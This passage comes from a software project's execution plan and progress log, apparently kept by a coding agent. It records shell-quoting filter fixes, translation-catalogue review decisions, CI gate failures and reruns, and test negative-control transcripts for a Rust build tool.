them." It is now read as `Option` and + type-checked explicitly, mirroring `env_default_from_kwargs` in + `src/manifest/registration.rs` — the same D4 concern, already solved the + same way by commit `e453322c`. The non-string case gets a **dedicated + key**, `stdlib.shell.dialect_not_string`, added across all 35 catalogues; + folding it into `dialect_invalid` would tell the reader the name was + misspelled when the argument's *type* was wrong. The precedent for a + dedicated key is `manifest.env.default_not_string`, added for the + identical reason. + 2. **`compact` dropped an empty byte array — FIXED.** `is_blank` asked + `Value::as_str`, which answers for well-formed UTF-8 *bytes* as well as + for strings (`value/mod.rs:1307-1314`: `ValueRepr::Bytes(b) => + str::from_utf8(b).ok()`), so `Value::from_bytes(vec![])` reported + `Some("")` and was discarded on the strength of a text rule that does not + apply to it. The predicate now tests `ValueKind::String` first, which is + the rule its doc comment already claimed, and a test pins it. The + current unreachability is stated in the doc rather than relied on: + `value_from_bytes` normalizes empty bytes, so nothing constructs such a + value today — but the predicate should state what it means, not what + happens to arrive. + 3. **`property_support::posix_shell`'s doc described the wrong algorithm — + FIXED.** The comment claimed the well-known absolute paths are consulted + *after* a `PATH` lookup. The code does no `PATH` lookup at all; not + consulting `PATH` is the point of it. A doc describing a different + algorithm than the code runs is worse than no doc, because it is read as + authoritative. + 4. **The Gaelic term for "keyword" was wrong — FIXED.** + `stdlib.shell.positional_option` said `fhacal-àirde`, "loud word", not + "keyword". Settled against the glossary's own cited authority rather than + by opinion: Am Faclair Beag attests `facal-luirg` = "keyword" in the + IT/computing sense, so the catalogue now uses it and the glossary gained + the row recording the attestation. + + **Refused, with the evidence that refuses them.** Three findings asked for + catalogue changes on the strength of the reviewer's reading of the target + language. Each was checked against its own file, and each was contradicted by + that file's *pre-existing* text: for Scottish Gaelic, Hindi, Indonesian, and + Korean, the flagged wording in the new string matched the same catalogue's + existing `stdlib.command.quote.line_break` rendering on `origin/main`, and + Korean's `열` additionally matched the existing `flatten` and `compact` + strings. The styleguide requires the opposite of the finding — quality + checklist item 5, "Message families remain parallel … renders identically + across the family" — so changing one member to satisfy one reading would have + broken the parallelism the styleguide mandates. The change was refused and + the reason recorded rather than silently dropped. Only the Gaelic item + survived that test, and it survived as a genuinely *new* error, not as a + parallelism break. + + **One finding was already fixed.** The `recognise` → `recognize` item in + `compact_property.rs:91` had been corrected on an earlier pass; the review + thread was reading a stale revision. Re-checked in the working tree, not + assumed from the thread's state. + + **Liveness of both behaviour fixes was proved, not argued.** Reverting the + `is_blank` guard made the new byte-array test fail with "the surviving length + was 0"; reverting `resolve_dialect` made both new BDD scenarios fail. Both + were then restored and re-verified green. A test never seen to fail is a + hypothesis about the code, not evidence about it. + + **A note on the localized-key cost.** Finding 1 is the only one that grew the + catalogue surface, by one key across 35 files. That cost is real and was + accepted deliberately: the alternative — reusing `dialect_invalid` — keeps + the catalogue smaller while making the diagnostic lie about which mistake the + author made. Two diagnostics a reader acts on differently should not share a + message. + + **Two Gherkin assertions were rewritten rather than a step invented.** The + first draft of the type-error scenarios asserted the message did *not* + contain "powershell". No such step exists — `tests/bdd/steps/stdlib/` has only + `the stdlib error contains {expected:string}` — so the assertion became + `contains "must be a string"`, which is stronger anyway: it proves the + type-error path was taken, whereas the absence of "powershell" would also + hold if the filter had failed for some unrelated reason. + + **The first gate run after the repair pass was red, on two defects in this + branch's own new material.** Recorded rather than quietly repaired, because + both are instances of traps this plan has already named, and the second + instance is the more instructive one. + + 1. `make check-fmt` failed at `cargo fmt --all -- --check` on + `tests/std_filter_tests/collection_filters/compact_tests.rs:56` — the new + byte-array test's `render_str` call fits 80 columns as written but rustfmt + still breaks it into a multi-line call, so "it looks fine" is not the + same test as "rustfmt agrees". + 2. `make markdownlint` failed in its `spelling` **prerequisite**, not in + `markdownlint-cli2`: two words in the new ExecPlan prose carried the + en-GB `-ise` inflection where this project's tooling requires `-ize` — + the past participle of *itemize*, and the third-person form of + *normalize*. Both were this branch's own added lines, in the paragraph + describing the byte-array fix, not inherited text. The fix is the `-ize` + spelling in each case, per the en-GB-oxendict rule. + + **Both failures masked work that was never run, and that is the point worth + carrying.** `check-fmt` aborted inside its first command, so + `ruff format --check` and `mdtablefix --check` did not execute. + `markdownlint` aborted in `spelling`, so `markdownlint-cli2` never ran + against *any* Markdown file — which means the Markdown-lint verdict for this + revision was **unknown**, not passed, and it had been unknown for the whole + branch. Neither gate's failure says anything about the stages behind it. The + general rule this plan keeps rediscovering: a gate that aborts reports a + lower bound on the work remaining, and the correct reading of "one gate + failed" is "the stages after the failure are unmeasured". + + **A note on the spelling gate's tolerance, verified rather than assumed.** + The gate flagged exactly two forms, while the same added prose contains + `recognise`, `recognises`, and `localised` — so the gate is not a blanket + `-ise` scanner. It is `typos-config-builder gate`, which regenerates + `typos.toml` from the estate configuration; `recognise` and its inflections + are tolerated there (`typos.toml:2169-2173`), which is why the citation of + the reviewer's `recognise` → `recognize` suggestion inside this very + paragraph does not itself red the gate. Reading the gate as "any `-ise` + fails" would have produced three unnecessary edits; reading it as "whatever + the regenerated config says fails" produced exactly two. + + **A scope fact worth carrying forward.** `make markdownlint` depends on + `spelling`, which runs `typos-config-builder gate` with its default + `scope=markdown` — the Makefile passes no `--scope`. The gate therefore scans + tracked Markdown only, so a `-ise` typo in a `.rs` comment reds **no** gate + and is caught only by CodeRabbit or by running `typos` by hand. The sweep was + run manually for this reason. + + **`mdtablefix` and `markdownlint` measure different properties, and passing + one says nothing about the other.** `make check-fmt` runs + `mdtablefix --check --wrap --renumber --breaks --ellipsis --fences` as its + *third* command, after `cargo fmt` and `ruff format --check`. On the first + run of this repair pass it aborted at the first command, so the stage behind + it had never executed; on the second run it executed and failed. Two files + were non-canonical, and the fixes differ in kind, which is the point: + + 1. A new glossary row was 504 columns against a table whose 26 other rows + are 314. `--wrap` refills a table to a single width, so appending one + over-long note would have re-padded every row — a 26-line whitespace diff + concealing a one-line addition. The note was shortened to fit the + existing width, keeping the attestation and the cited authority. The + table's shape survives and the diff is the row that actually changed. + `origin/main` was measured first and is canonical at 314, so this was the + branch's own breakage rather than inherited drift. + 2. The new ExecPlan paragraphs were reflowed, because they had been written + to a visual 80 columns rather than to `mdtablefix`'s fill point. + + Why (2) is invisible to every line-length check bears stating: `--wrap` + *refills* to a fill point; it does not enforce a maximum. Every rewritten + line was still under 80 columns, so MD013 saw nothing and `markdownlint` + passed the whole time. A green `markdownlint` is therefore not evidence that + `check-fmt` will pass, and the two gates should never be treated as redundant. + + The reflow was verified content-preserving rather than assumed to be: + whitespace-normalizing the before and after revisions makes them + byte-identical, and no table separator row appears in the diff. That check is + cheap and worth repeating whenever this tool rewrites prose, because + `--renumber` and `--wrap` both rewrite text the author wrote. + +- [x] (2026-09-27) All seven gates green at `31ea3dc8`, and the branch is ready + to push. The run is recorded here with its figures because the three runs + that preceded it were each red on a *different* gate, and the sequence is the + useful part of the record. + + `check-fmt` 2 s, `lint` 14 s, `typecheck` <1 s, `markdownlint` 14 s, + `doc-coverage` 7 s, `test` 279 s, `nixie` 1 s. `make lint` passed with all + four cascade stages confirmed run, so its problem count is exact and the + lower-bound caveat does not apply. `make test` ran 3578 nextest tests (3578 + passed, 5 skipped) and both `Doc-tests` targets. `doc-coverage` is 98.83% + (4815/4872) against an 80% threshold. + + **Three red runs, three different gates — and each one was masked by the one + before it.** `check-fmt` aborted at its first command on a rustfmt diff, + hiding `ruff format --check` and `mdtablefix --check`. Once the rustfmt diff + was fixed, `mdtablefix --check` ran for the first time and failed. + `markdownlint` aborted in its `spelling` prerequisite, hiding + `markdownlint-cli2` entirely. Each repair was necessary and none was + sufficient, which is exactly what "a gate reports a lower bound" means in + practice. A repair pass should therefore re-run the whole gate from the start + rather than resuming at the stage that failed — resuming would have left + `mdtablefix` unmeasured for a third time. + + **The load-sensitive test did not flake.** The 300 s-capped + `packaged_manifest_retains_build_script_sources` passed at 197.470 s against + its cap, some 102 s of headroom, on a host whose 1-minute load reached 61.33 + on 24 cores while two mutation-testing containers from another agent were up. + It was tracked across three runs here — 217.5 s, then 197.5 s — because the + plan's own note says such a timeout must be read as load-induced rather than + as a code failure, and that reading is only defensible against recorded + numbers. + + **Nothing was assumed from the previous run.** The gate logs at the canonical + `/tmp` paths are keyed by *branch*, not by revision, so a run on one commit + overwrites the evidence for another. This run found a peer session's logs for + the parent commit occupying those same paths and set them aside before its + own run rewrote them. The general hazard is worth recording beside the + rebase-provenance rule: a log file is only evidence for the revision it + names, and the path alone does not name one. + +- [x] (2026-09-27) The disposition log at `c2b3e32e` was corrected a third + time, and finding 12 applied at the one site the first two passes missed. + + **What forced the third pass.** A completeness check over the triage entry — + does every numbered finding appear in it, and can every item be found in the + review's log — failed on both halves at once. The entry omitted finding 14 + (`Status: IN PROGRESS`, the one finding about this document) and carried an + item with no counterpart: "three execplan prose findings (dash spacing, a + `shell_escape` mention …)". `grep` for `dash` and `shell_escape` across the + review's JSONL returns nothing. That fabricated item had survived the rewrite + that condemned fabricating it, because the items were written from the old + entry's shape rather than by reading the parsed list to the end. + + **A fourth failure, of the same kind and found by a different check.** The + entry then asserted a "narrower fix applied" to the German and Czech + catalogues — an edit that was never made. Grepping the files for the changed + text showed them unchanged. This mattered because the finding was about to be + *declined*, and inventing a partial fix is a way of appearing to engage with + a finding while changing nothing. The declines now rest on evidence: German's + main-owned precedent is + `flatten erwartete Sequenzelemente, fand aber { $kind }` and Czech's is + `flatten očekával prvky posloupnosti, ale nalezl { $kind }` — both at `:342` + on `origin/main` (each quoted to its final token, without the sentence-final + period) — and both name the helper as subject with a verb of the same gender + and number as the new lines use, so the new lines follow their catalogues + rather than diverging from them. `{ $kind }` renders MiniJinja's own + `ValueKind` labels, which are fixed Latin, so the nominative-position demand + has nothing to attach to. + + **Finding 12's fourth site.** The first correction pass fixed the plan's + `Surprises & discoveries` narrative and the `dialect_probes.rs` comment, and + this plan's own summary at `:2686` still read "the divergence this sentence + originally claimed is unobservable" — the summary asserting the old claim + while the narrative recorded it as corrected. Only grepping the plan for the + claim itself found it, which is the reusable part: a correction is not + complete until every site repeating the claim has been visited, and the sites + are not all in the places the finding names. + + Commits `6365240a`, `22e8b092`, `16646c68`; the last removes a first-person + "which I measured" that the replacement item had introduced two paragraphs + below its own note explaining why the pronoun was removed. Pushed, so the + remote is at `16646c68`. + +## Blocked / open questions + +### Gate run at `6719ddcb` (2026-09-27) — RED, four of seven + +The historical table below records the `149685d3` plateau. This run supersedes +it. Four gates failed, from four distinct defects; `make typecheck` and +`make nixie` passed. Logs are cited so they can be read rather than re-run. + +| Gate | Result | Log | Cause | +| ------------------- | ------ | ------------------------------------------------ | ----------------------------------------------------------------------- | +| `make check-fmt` | FAIL | `/tmp/check-fmt-6719ddcb-20260927T062509.out` | `mdtablefix --check` on 5 Markdown files | +| `make lint` | FAIL | `/tmp/lint-6719ddcb-20260927T062509.out` | `lint-clippy`'s `cargo doc` half; 3 later stages never ran | +| `make typecheck` | pass | `/tmp/typecheck-6719ddcb-20260927T062509.out` | — | +| `make markdownlint` | FAIL | `/tmp/markdownlint-6719ddcb-20260927T062509.out` | `spelling` prerequisite; `mdlint` never ran | +| `make doc-coverage` | FAIL | `/tmp/doc-coverage-6719ddcb-20260927T062509.out` | same rustdoc defect as `lint` | +| `make test` | FAIL | `/tmp/test-6719ddcb-20260927T062509.out` | 2 dialect-telemetry tests; cancelled 172 others, so `doctest` never ran | +| `make nixie` | pass | `/tmp/nixie-6719ddcb-20260927T062509.out` | — | + +- **One defect failed two gates.** `DIALECT_VALUES` is `pub`, but its doc + comment linked `crate::shell_word::ShellDialect`, which is `pub(crate)`. Under + `-D rustdoc::private-intra-doc-links` that is an error in both `cargo doc` + (`make lint`) and `make doc-coverage`. Fixed by demoting the link to a code + span; the encoder type is private by design, so widening it to satisfy a doc + link would have been the wrong repair. +- **The two test failures were real defects in the test, not the product.** + `recorded_render` bound only `value => "a b"`, but `shell_join` requires a + sequence, so both `shell_join` cases failed on the subject-kind check before + reaching the assertion. Fixed by binding `items => ["a", "b"]` alongside and + pointing the `shell_join` templates at it. The `shell_quote` binding is + unchanged, since that filter's subject genuinely is one string. +- **`hand-written` → `handwritten`** at + `src/observability_recorder_dialect_tests.rs:160`. `typos.toml` already pins + `"handwritten" = "handwritten"`, so this was the file contradicting an + existing entry rather than the dictionary needing a new one. +- **`mdtablefix` reflow over 5 files** is mechanical. Note the tool is run by + the gate with `--wrap --renumber --breaks --ellipsis --fences`, so the + project's own `make fmt` target is the correct repair and a hand edit is not. + +Consequence recorded for the retrospective: `make test` cancelled 172 tests and +never reached `doctest`. The suite is therefore *unverified* at this SHA, not +merely failing, and the re-run must be the whole gate set rather than only the +four that failed. + +### Defects the first repair unmasked (2026-09-27) + +Fixing the four `6719ddcb` defects exposed two further ones that the cascade +had been hiding. This is the second time on this branch that a "fix everything +the gate reported" pass turned out to be incomplete, so the lesson is recorded +rather than just the fixes. + +- **`clippy::excessive_nesting`** at + `src/observability_recorder_dialect_tests.rs:189`, on an inline closure + inside the generator loops. It was masked because `cargo doc` aborts + `lint-clippy` *before* `cargo clippy` runs, and `cargo doc` was the failing + half. Repaired by extracting the `dialect_pair` free function. +- **Whitaker `no_expect_outside_tests`**, three errors in `recorded_render`. + Masked by both earlier `lint-clippy` aborts. The lint recognizes a function + as test-like only by its *attribute* — `#[test]`, `#[rstest]`, and a fixed + list of path forms — **not** by an enclosing `#[cfg(test)]` module. So a + helper inside a `#[cfg(test)] mod tests` is still "outside test-only code" to + this lint. Repaired by making `recorded_render` return `anyhow::Result<_>` + and propagating with `?`, with each of the three call sites unwrapping inside + a recognized `#[rstest]`/`#[test]` body. This matches the sibling convention: + `observability_recorder_file_read_tests.rs` and its siblings contain zero + `expect(` calls. + +**Consequence for the re-run.** Because `make lint` aborts at the first failing +stage, a single `cargo doc` error concealed a clippy error and a Whitaker error +behind it. "The gate reported N problems" is therefore a lower bound, not a +count: each repair pass can reveal new ones, and only a fully green `make lint` +shows the stage list was exhausted. + +### Spelling sweep over the branch delta (2026-09-27) + +House style is en-GB-oxendict (`-ize`/`-ization`), confirmed by the `-ise` +family sweep over added lines. Five genuine `-ise` instances were found in *my* +delta and fixed: `recognise`/`recognises` in +`tests/std_filter_tests/collection_filters/compact_property.rs`, +`src/observability_recorder_dialect_tests.rs`, +`src/stdlib/config/recipe_shell.rs`; `localised` in +`src/stdlib/recipe_text/mod.rs`; and `unparseable` → `unparsable` in +`src/shell_word.rs` (the dictionary prefers the latter; the repo carries both, +but only mine was in scope). + +Two classes were deliberately **kept**: + +- `localised`/`localisation` in `tests/features/*.feature`. Four pre-existing + scenarios across `cli.feature`, `locale_resolution.feature`, and + `stdlib.feature` already use that spelling; my added scenario matches the + established Gherkin vocabulary. Changing only my line would make the file + internally inconsistent. +- `defualt` in `tests/manifest_env_tests/default_argument.rs`. It is the typo + under test in a negative test, and the surrounding comment says so. + +**Scope note worth keeping:** `make markdownlint` depends on `spelling`, which +runs `typos-config-builder gate`, whose `scope` **defaults to `markdown`** — +the Makefile passes no `--scope`, so the gate scans tracked Markdown only. A +`-ise` typo in a `.rs` comment therefore does **not** red any gate; it is +caught only by a CodeRabbit review or by running `typos` directly. Hence the +manual sweep above rather than relying on the gates to surface it. + +### Historical: all seven gates green at `149685d3` + +| Gate | Result | Duration | Note | +| ------------------- | ------ | -------- | --------------------------------------------------------------------------- | +| `make check-fmt` | pass | 2s | `cargo fmt`, Ruff over 123 files, mdtablefix 165 unchanged | +| `make lint` | pass | 14s | clippy, whitaker (both invocations), pylint 10.00/10, yamllint + actionlint | +| `make typecheck` | pass | 1s | `ty check` and `cargo check --all-targets --all-features` | +| `make markdownlint` | pass | 12s | `spelling` passed, then MDLINT 0 errors over 165 files | +| `make doc-coverage` | pass | 8s | 98.82% (4772/4829) against the 80% threshold | +| `make test` | pass | 391s | nextest 3471/3471 passed, 5 skipped; 129 doctests | +| `make nixie` | pass | 1s | all diagrams validated | + +`make test-podman` was not run at that plateau: no path under `ansible/` is in +the change surface. + +## Outcomes & retrospective + +Written at EP-M5, which is complete. All three reconciliation items below are +discharged, so the plan is `COMPLETE`; each is kept in place, with its outcome, +because the *condition* it states is what a future reader needs — a tick alone +would not say what would have blocked the plan. Every discovery was reconciled +against the `Conformance basis` before the status was changed: + +- D2 is a deviation from `RFC-0006-8.9`. It must be recorded in ADR-041 and the + RFC amended, or the plan stays `BLOCKED`. **Discharged.** ADR-041 records the + deviation and its consequences; `RFC-0006-8.9` and the §13.3/roadmap + cross-references were amended to name the supersession and the wider dialect + set. +- `RM-6.8.3` is materially reduced by D1 and D2. Record the reduction as a note + on that roadmap entry; do not tick it, because its `dialect` value set is + wider than what ships here. **Discharged.** `docs/roadmap.md:1197` remains + unticked and carries the note: 3.14.8 delivered the canonical name, the + `dialect` argument, and the single implementation, leaving the wider RFC 0006 + dialect set — `bash` in particular, which this work deliberately refuses. +- If EP-M4's runner plumbing proves larger than tolerance 1 allows, stop and + record the measurement. Do **not** resolve it by shipping the + host-default-only behaviour and deferring the plumbing: that recreates R11's + silent-corruption path, which constraint 10 forbids. The correct escalation + is to propose deferring the *filters* as well, leaving EP-M1 to EP-M3 + shipped, and to raise the plumbing as its own roadmap item. **Not + triggered.** The plumbing landed inside tolerance: `resolve_recipe_shell()` + is reached on the build path, and the bootstrapping escape (`execute_help` + returning before the resolution) is documented as deliberate in both + registration surfaces. + +### What the work cost, and what it taught + +**The dominant cost was not the feature; it was the lint and gate surface.** +The filter implementation itself was the small part. The recurring expense was +satisfying `make lint`'s cascade — `cargo doc`, `cargo clippy`, Whitaker, +pylint, and the workflow lints — where each stage's failure hides every later +stage's. That cascade was the direct cause of two full extra gate cycles: first +four defects at `6719ddcb`, then **two more that the first four had +concealed**. The transferable lesson is in `Blocked / open questions`: a gate's +reported problem count is a lower bound, so "I fixed everything it printed" +does not imply "it will pass". + +**A related trap is scope, not severity.** The `spelling` prerequisite of +`make markdownlint` runs with `scope=markdown`, so an `-ise` typo in `.rs` +comments reds nothing. Passing gates were therefore never evidence that this +class was clean, and a manual `typos` sweep over the branch delta was required. +The general form: when a gate's *scope* is narrower than the change surface, +its green result is silent about the difference, and that difference is exactly +where a reviewer will look. + +**What went well.** Verifying claims against the vendored dependency rather +than reasoning about them paid off twice: `select`'s `is_true()` semantics and +the private-intra-doc-link rule were both checked against source before acting, +so neither needed a second attempt. The same applied to the `RecipeShell` → +`ShellDialect` three-to-two surjection, which drove the test design. + +**A residual risk, stated plainly.** The build and query registration surfaces +resolve their default dialect by different routes — the build honours +`NETSUKE_WINDOWS_SHELL`; the query surface takes `host_default()`. On a Windows +host configured for Bash, one manifest expression can render `sh` quoting for +the build and PowerShell quoting for `help targets`. This is *masked*, not +absent: `execute_help` returns before `resolve_recipe_shell()` is called, and +both `register_query_helpers` and `ManifestLoadMode::ManifestQuery` document +the divergence as deliberate. `docs/developers-guide.md` previously claimed the +surfaces "agree on every dialect", which was false; that claim is corrected. + +## Artefacts and notes + +To be filled during implementation. Required entries: + +1. The `red` transcript for EP-M1 showing the unknown-keyword failure. + + **Entry 1 — EP-M1 red (2026-09-19).** Recorded before any production change, + against the post-extraction tree with only the two new localization keys and + the new tests in place. The invocation is + `cargo nextest run -E 'binary(manifest_env_tests)'`; the `--test` form does + not select an integration binary here (the binary is + `netsuke-build::manifest_env_tests`). + + ```text + FAIL [ 0.031s] netsuke-build::manifest_env_tests template_default_substitutes_for_absence::case_absent_uses_default + FAIL [ 0.028s] netsuke-build::manifest_env_tests explicit_none_default_is_equivalent_to_omitting_it + FAIL [ 0.041s] netsuke-build::manifest_env_tests a_non_string_default_is_rejected::case_1_number + FAIL [ 0.036s] netsuke-build::manifest_env_tests a_non_string_default_is_rejected::case_2_boolean + FAIL [ 0.033s] netsuke-build::manifest_env_tests a_non_string_default_is_rejected::case_3_sequence + FAIL [ 0.039s] netsuke-build::manifest_env_tests a_non_string_default_is_rejected::case_4_mapping + FAIL [ 0.025s] netsuke-build::manifest_env_tests a_blocked_lookup_still_fails_when_a_default_is_supplied + FAIL [ 0.019s] netsuke-build::manifest_env_tests a_positional_second_argument_is_rejected + FAIL [ 0.033s] netsuke-build::manifest_env_tests an_unknown_keyword_argument_is_rejected + ``` + + The failure text is the intended one — the keyword is not recognized, which + is exactly the arity defect the milestone removes: + + ```text + unexpected error: Failed to load manifest at : invalid operation: + unknown keyword argument 'default' (in :1) + ``` + + After the implementation the same selection reports + `24 tests run: 24 passed, 0 skipped`. Note that + `an_unknown_keyword_argument_is_rejected` stays green in both runs: it uses + a *deliberate* typo (`defualt=`), so it is a regression guard on + `assert_all_used`, not a red test for `default=`. + + **Entry 1b — the query-surface half.** + `tests/stdlib_manifest_query_tests.rs` was red for a different reason: the + disabled `env` stub still took one argument, so `env('X', default='y')` on + the query surface died with a detail-free `too many arguments` instead of + the disabled marker. That is the exact failure mode the file's doc comment + describes, and it was observed before the stub was widened to `Kwargs`. + + **Entry 3a — the EP-M2 negative control, naive truthiness (2026-09-19).** + `is_blank` was temporarily replaced with `!value.is_true()`, making + `compact` drop every falsy member, and the EP-M2 selection re-run. Three + tests failed, which is what makes the witness case and the property + load-bearing rather than decorative — a truthiness implementation would + otherwise pass both: + + ```text + FAIL std_filter_tests::collection_filters::compact_property::compact_is_order_preserving_and_idempotent + FAIL std_filter_tests::collection_filters::compact_drops_witness_case_blanks_only + Error: compact must drop only none, undefined and the empty string, but rendered x + FAIL bdd_tests::features_scenarios::stdlib_compact_drops_empty_strings_and_nulls_but_keeps_falsy_values + expected stdlib output 'a,0,False,b', got 'a,b' + Summary: 14 tests run: 11 passed, 3 failed + ``` + + The BDD failure is the sharpest of the three: `'a,b'` is exactly the + signature of the naive implementation eating `0` and `false`, and it is + visible in the user-facing scenario rather than only in a unit test. The + other two EP-M2 controls listed in this entry belong to later milestones and + are not yet run. +2. The name of the snapshot that failed during the OBL-NINJA-STABLE + non-vacuity check, and the transcript showing it passing again after revert. + + **Entry 2 — OBL-NINJA-STABLE non-vacuity (2026-09-19, EP-M3).** Baseline + first: `cargo nextest run --all-features --test ninja_snapshot_tests` → + `7 tests run: 7 passed, 0 skipped`. The break replaced `quote_word`'s `Sh` + arm with `format!("\"{value}\"").into_bytes()` — a double-quoted word where + the minimal quoter emits a single-quoted one, the exact defect the plan's + method names. Five of the seven snapshots failed; the first, and the name + this entry exists to record — `7 tests run: 3 passed, 4 failed, 0 skipped`: + + ```text + FAIL [ 0.136s] netsuke-build::ninja_snapshot_tests conditional_manifest_ninja_snapshot + Snapshot file: tests/snapshots/ninja/ninja_snapshot_tests__conditional_manifest_ninja.snap + Source: tests/ninja_snapshot_tests.rs:141 + snapshot assertion for 'conditional_manifest_ninja' failed in line 141 + ``` + + The other three failures were `implicit_deps_manifest_ninja` (line 264), + `command_available_manifest_ninja` (line 197), and `touch_manifest_ninja` + (line 69). The three that passed were + `conditional_action_deps::conditional_action_deps_ninja_snapshot`, + `dependency_only_manifest_ninja_snapshot`, and + `multi_command_manifest_ninja_snapshot` — the last of which carries a + multi-entry command list and yet does not discriminate, because it never + reaches the encoder at all: `tests/data/multi_command.yml` declares no + `ins:` /`outs:` and uses no `{{ ins }}`/`{{ outs }}` placeholder, so + `CommandBindings::new` is handed empty slices and `quote_path` has no path + to quote. Its three recipe entries are the only commands in the file and all + three are literal shell text. That is a real limit on what this check + proves: it demonstrates the snapshot suite notices *a* quoting change, not + that it covers every quoting path. A fixture that dropped + `">{{ outs }}"`-style text through the four POSIX quote contexts would + discriminate; none of the seven does. Reverting the arm and re-running + returned `7 tests run: 7 passed, 0 skipped`. + + **`make test-nextest`, not `cargo nextest run --all-features`, needs to be + the acceptance evidence** — this run selected one integration binary to keep + the check cheap and targeted, and the milestone's stated acceptance evidence + is the whole suite. The scoped run is what proves the *snapshots* respond; + the full gate run below proves nothing else moved. + + Insta writes a `.snap.new` beside each failure. Four were produced and all + four were deleted before the revert run, so no rejection artefact could be + mistaken for a pending snapshot. + `git status --short src/snapshots tests/snapshots` printed nothing after the + revert run. + + Provenance note: the break was made, observed, and reverted in this + worktree, and the transcript above is quoted from + `/tmp/ninja-snapshot-nonvacuity-…out`, not reconstructed. + +3. The transcript of each negative control failing as designed + (naive double-quote quoter, naive `join(" ")`, naive truthiness `compact`, + POSIX-quoted input fed to the PowerShell decoder). +4. The real `shell-quote` output for the witness `a b '$HOME'`, used to correct + the BDD expectations and the "Validation and acceptance" transcript. +5. `git status --short src/snapshots tests/snapshots` showing no output at each + milestone boundary. +6. The CodeRabbit pass at each milestone. + + **Entry 6 — EP-M1 CodeRabbit pass (2026-09-19).** Run by `scrutineer` as + `coderabbit review --agent` against `5d66db48`. It completed without rate + limiting: 18 raw findings over 49 files, 5 of them exact duplicates, so 13 + unique. **The PR channel is not the same channel**: PR #702 is a draft, and + CodeRabbit posts nothing to a draft, so all 13 findings exist only in the + agent output — a reviewer looking at the PR would see the CodeRabbit check + pass with "Review skipped: draft pull request" and no findings at all. + + Disposition: 7 plan-document fixes and 2 code fixes applied (see EP-M1a in + `Progress`); 4 rejected. + + The 4 rejected findings were translation-wording complaints against the `nl`, + `nb`, `id`, and `it` catalogues. Each quoted specific text as being present + *and* as being the suggested replacement, and the quoted present text exists + in no catalogue in any locale: + + ```text + nl "maar er werd { $kind } ontvangen" -> not found in locales/ + nb "men den mottatte typen var { $kind }" -> not found in locales/ + id "tetapi yang diterima adalah { $kind }" -> not found in locales/ + it "ma il tipo ricevuto è { $kind }" -> not found in locales/ + ``` + + The actual lines are + `De default van env moet een tekenreeks zijn, ontvangen { $kind }.` (nl), + `default i env må være en streng, mottok { $kind }.` (nb), + `default pada env harus berupa untai, menerima { $kind }.` (id), and + `Il default di env deve essere una stringa, ricevuto { $kind }.` (it) — each + a faithful rendering of the en-US source's own terse detached participle. + That only 4 of 35 catalogues were flagged, and that all four suggested + rewrites add words the source does not carry, both point to evaluator + variance rather than a consistent rule. Rejected and recorded here so the + decision is auditable rather than silent. + + Two further findings were **not** acted on, deliberately. CodeScene flags + `tests/manifest_env_tests.rs` for duplication between + `a_positional_second_argument_is_rejected` and + `an_unknown_keyword_argument_is_rejected`; the split into + `default_argument.rs` shared their bodies through + `ensure_template_is_rejected`, which addresses it. And CodeRabbit notes no + parity test exists between `register_with_config` and + `register_manifest_query`; the plan already records that as a future roadmap + item and out of scope here (see `Surprises & discoveries`). + + **Entry 6 (continued) — EP-M1 confirmation pass (2026-09-19, 06:44).** After + the EP-M1a fixes landed as commit `d2c6f573`, the review was re-run and + returned 16 fresh findings. Provenance matters here and is easy to get + wrong: the pass reviewed the tree *as it stood at 06:44*, which is + `d2c6f573` plus the uncommitted plan edits — no EP-M2 code existed yet (the + first EP-M2 file was written at 08:16). It is therefore a second look at + EP-M1's localization and at the EP-M1a plan fixes, **not** a review of + `compact`. Disposition: 3 plan fixes applied, 9 findings rejected, all of + them below. + + Two of its results are worth carrying forward. First, it independently + re-derived the localization findings EP-M1 had already rejected: 8 of the 16 + are wording complaints against `pl`, `ru`, `de`, `es-419`, `da`, `el`, and + `cy` — the same `{ $kind }`-inflection and untranslated-`default` + objections, on catalogues untouched since. That a second pass on an + unchanged file reproduces the same objections while a reviewer-visible PR + shows nothing (the PR is a draft, so CodeRabbit posts no comments) is the + reason each rejection is written down rather than simply dismissed: a third + pass will raise them again, and the answer should not have to be + rediscovered. Second, three of its plan findings — AXIOM-4 contradicting D4, + EP-M4 re-adding `src/shell_word.rs`, and the invalid `8a`/`8b` markers — + were real defects in the plan text that the EP-M1 pass had not surfaced, so + the confirmation pass earned its cost. + + It also produced the one finding rejected as outright false. Finding 9 + reports an unmatched single quote in the `RUSTFLAGS` acceptance transcript + at line 2220, claiming the quoting is unbalanced and that a matching + word-count command carries the same defect. Both are balanced, and running + them settles it. The first is `set -- -D' warnings -C target-cpu'=native''`; + the shell strips the quotes and the inner `sh` receives + `<-D warnings -C target-cpu=native>`, reporting one positional parameter — + which is the plan's whole claim. The second is the *deliberately defective* + contrast case the paragraph uses to warn the reader off double-quoting, and + its quotes pair up too: it passes `sh -n` and prints exactly + `RUSTFLAGS=-D' warnings'`, the corrupt value it is warning about. Reading + balanced quoting as an imbalance is the finding's error; neither command is + changed: + + ```text + $ sh -c "set -- -D' warnings -C target-cpu'=native''; echo \$#" + 1 + $ sh -c 'printf "%s\n" "RUSTFLAGS=-D'"'"' warnings'"'"'"' + RUSTFLAGS=-D' warnings' + ``` + + The transcript's quoting is deliberately awkward because it transcribes a + value that must survive two shells; simplifying it to satisfy a reader the + transcript's own `sh -n` check already contradicts would make the document + *less* faithful to the command that ran. + + **Applied in this pass (3).** Findings 10 and 15 are the same defect twice: + substeps `8a` and `8b` in EP-M5's `- Work:` list use `.`-less markers that + no Markdown ordered list recognizes. Renumbered to `9.` and `10.`, cascading + the trailing items to `11`–`15`. Findings 11 and 13 are likewise one defect: + EP-M4's Green step told the implementer to add `src/shell_word.rs`, which + EP-M3 already creates in the immediately preceding milestone. Replaced with + the instruction to reuse the EP-M3 module and seam. Findings 12 and 16 are + the same defect again, and the most substantive of the three: AXIOM-4 claimed + `Kwargs::get::>` could distinguish an explicit `none` from a + defined value through `Value::is_none`/`is_undefined`. It cannot — absent, + `none`, and undefined all map to `Ok(None)`, as D4 already said at lines + 679–686 and as the `Surprises & discoveries` entry above records. The axiom + contradicted the plan's own decision log; AXIOM-4 now states the collapse + and points at D4. + + **Locales (8 findings, all rejected).** Findings 1, 2, 7, and 14 ask for + grammatical recasting of `{ $kind }` in `pl`, `ru`, and `el`; findings 3, 4, + 5, and 8 ask for `default` to be replaced by a native term in `de`, `es-419`, + `da`, and `cy`. Both requests are declined, and the evidence is not a + matter of taste. + + For `default`: the token is untranslated in **all 35 catalogues**, including + the `en-US` source itself, which reads + `env default must be a string, received { $kind }.` The word names the 